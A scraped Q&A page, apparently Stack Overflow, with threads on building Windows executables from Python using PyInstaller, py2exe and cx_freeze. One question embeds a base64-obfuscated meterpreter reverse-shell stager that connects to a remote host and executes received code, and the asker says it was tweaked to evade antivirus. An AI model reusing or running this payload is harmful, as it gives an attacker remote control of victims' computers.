creating stand-alone executable for windows from python code - python

I have a python code which uses the pygkt, gtk, ctypes, os and some other modules. I used pyinstaller to create a stand-alone executive of the code. It worked fine on ubuntu. Now I wanted to create another stand-alone executive for windows platform.
I used the tool https://github.com/paulfurley/python-windows-packager for it and followed the steps. But I got the error: module gtk not found.
How to fix the issue ?
Are there any other tools to convert python code to stand-alone executable for windows os ? If yes, please provide the details ?
Thank you

I'd recommend using pyinstaller
Example:
$ pip install pyinstaller
$ pyinstaller -F myscript.py
You should now have a build/myscript/myscript.exe executable.

If in Windows, Best way to do it is via Cygwin.
Ensure you have Python 3.5+ version not 3.6
pip install pyinstaller
Go to the directory where the .py file is which needs to be packaged.
Then run
$ pyinstaller --onefile test.py
Simple to have a single file executable.

Related

Pyinstaller isn't recognizable when trying to convert into .exe

I'm trying to convert my game that I created with pygame into a .exe file using pyinstaller. For some reason, it does not work. However, it says that I have it installed but it's not reconizable for some reason. Here are some images:
When I try to run it using: pyinstaller --onefile -w main.py
This image is when I try to uninstall and reinstall pyinstaller. It currently says that it's installed but when I try to use the command:
"pyinstaller --onefile -w main.py", it says it isn't recognized.
I'm really desperate... I've searched the ENTIRE internet for a solution but couldn't find one and this is my FIRST stack overflow post. Please help. Thanks in advance!
If pyinstaller is compatible with 3.9 (which it should be according to the documentation https://pypi.org/project/pyinstaller/#:~:text=Works%20out%2Dof%2Dthe%2D,libraries%2C%20thus%20ensuring%20full%20compatibility.&text=Libraries%20like%20PyQt5%2C%20PySide2%2C%20wxPython,or%20external%20data%20files%20manually), then make sure you're running the version of python that has pyinstaller on it. It looks like you're using windows which I don't think has a default python package (mac comes with 2.7 installed which is hella annoying). So if you do have other python versions installed, you need to specify which one you you want to run - in this case 3.9 because that's where. The command I used on mac (I think it should be the same on windows) is
/Library/Frameworks/Python.framework/Versions/3.8/bin/pyinstaller -m PyInstaller --onefile MyPythonProgram.py
That first portion is the location of the pyinstaller folder in your python installation so it will be different from mine but from the -m onwards it should be the same. To get the location of pyinstaller try the directory from your second picture.

How can I convert .py to .exe on Linux?

I'm trying to convert my python file to a .exe file.
The issue is, I'm using linux, and I can't use pyinstaller or cx_freeze to make .exe files from
.py.
Is there any way to do it?
I'm using Python 3.7.3 on Debian Linux.
TLDR: You can't.
You should be able to use PyInstaller to create executable files as it is compatible with Linux systems:
https://pyinstaller.readthedocs.io/en/stable/requirements.html#gnu-linux
pip install pyinstaller
cd /path/to/your/program
pyinstaller --onefile yourscript.py
However, at least for pyinstaller, there is no way to bundle an executable file for Windows on a Linux system that I know of:
The output of PyInstaller is specific to the active operating system and the active
version of Python. This means that to prepare a distribution for:
a different OS
a different version of Python
a 32-bit or 64-bit OS
you run PyInstaller on that OS, under that version of Python. The Python interpreter
that executes PyInstaller is part of the bundle, and it is specific to the OS and the
word size.
Source: https://pyinstaller.readthedocs.io/en/stable/operating-mode.html

Compiling Python to .EXE instead of .ELF on Linux

I am compiling a Python code on Kali Linux. I want to produce an .exe file to run on Windows. These are the following settings for PyInstaller:
pyinstaller -F /root/Desktop/Evil_private.py -i Evil_Private.exe
and the code is just meterpreter with some comments to avoid Anti-virus detection. The following code is:
import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]
('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQ0KI0kgYW0gbm90IGEgc2NyaXB0IGtpZGRpZQ0KZm9yIHggaW4gcmFuZ2UoMTApOg0KCXRyeToNCgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQ0KCQlzLmNvbm5lY3QoKCcxMC4wLjAuNTQnLDQ0NDQpKQ0KCQlicmVhaw0KCWV4Y2VwdDoNCgkJdGltZS5zbGVlcCg1KQ0KbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQ0KZD1zLnJlY3YobCkNCiNOaWNlIEFOVEktViBicm8sIFdIT0FBQUENCndoaWxlIGxlbihkKTxsOg0KCWQrPXMucmVjdihsLWxlbihkKSkNCmV4ZWMoZCx7J3MnOnN9KQ0K')))
When I compile it, I receive a .ELF file instead of .EXE. Maybe I could have the directory wrong? I do not think this is so, as I have checked most directories associated with PyInstaller. I have read the guide to PyInstaller, but it seems to be of no use. Is there any solution to compile Python code on Linux to get a .exe file for Windows?
From the documentation:
The output of PyInstaller is specific to the active operating system and the active version of Python. This means that to prepare a distribution for:
a different OS
a different version of Python
a 32-bit or 64-bit OS
you run PyInstaller on that OS, under that version of Python. The Python interpreter that executes PyInstaller is part of the bundle, and it is specific to the OS and the word size.
You cannot generate a .exe under Kali running its Python.
Ignacio's answer is correct. The Linux version of pyinstaller will not build Windows PEs.
A [convoluted] workaround is install wine, then install python on wine (and pyinstaller on wine).
Then run wine's pyinstaller to build the exe.

cx_freeze doesn't make Python apps standalone

cx_freeze makes python apps only executable. If python or neccessary modules is not installed, app doesn't open. How can i make Python 2.7 apps standalone with cx_freeze or any other app? (For Linux)
pyinstaller works under linux and also windows / OS X, look at http://pythonhosted.org/PyInstaller/
first simply do: pip install pyinstaller
to package your app: pyinstaller --onefile yourfile.py
Simple enough, isn't it?

Using py2exe in a virtualenv

I have a Python script I developed within a virtualenv on Windows (Python 2.7).
I would now like to compile it into a single EXE using Py2exe.
I've read and read the docs and stackoverflow, and yet I can't find a simple answer: How do I do this? I tried just installing py2exe (via the downloadable installer), but of course that doesn't work because it uses the system-level python, which doesn't have the dependencies for my script installed. It needs to use the virtualenv - but there doesn't seem to be such an option.
I did manage to get bbfreeze to work, but it outputs a dist folder crammed with files, and I just want a simple EXE file (one file) for my simple script, and I understand Py2Exe can do this.
tl;dr: How do I run Py2Exe within the context of a virtualenv so it correctly imports dependencies?
You can do that this way:
Activate your virtualenv and then ...
easy_install py2exe-0.6.9.win32-py2.7.exe
Installing py2exe into your virtual env should be straightforward. You'll need Visual Studio 2008, the express version should work. Launch a 2008 Command Prompt and Activate your virtual env. Change into the directory that contains the py2exe source and run python setup.py install. You can verify that py2exe is in the correct environment by attempting to import it from an interactive shell. I tested myself earlier today (had to install virtualenv). It works exactly as expected.

Categories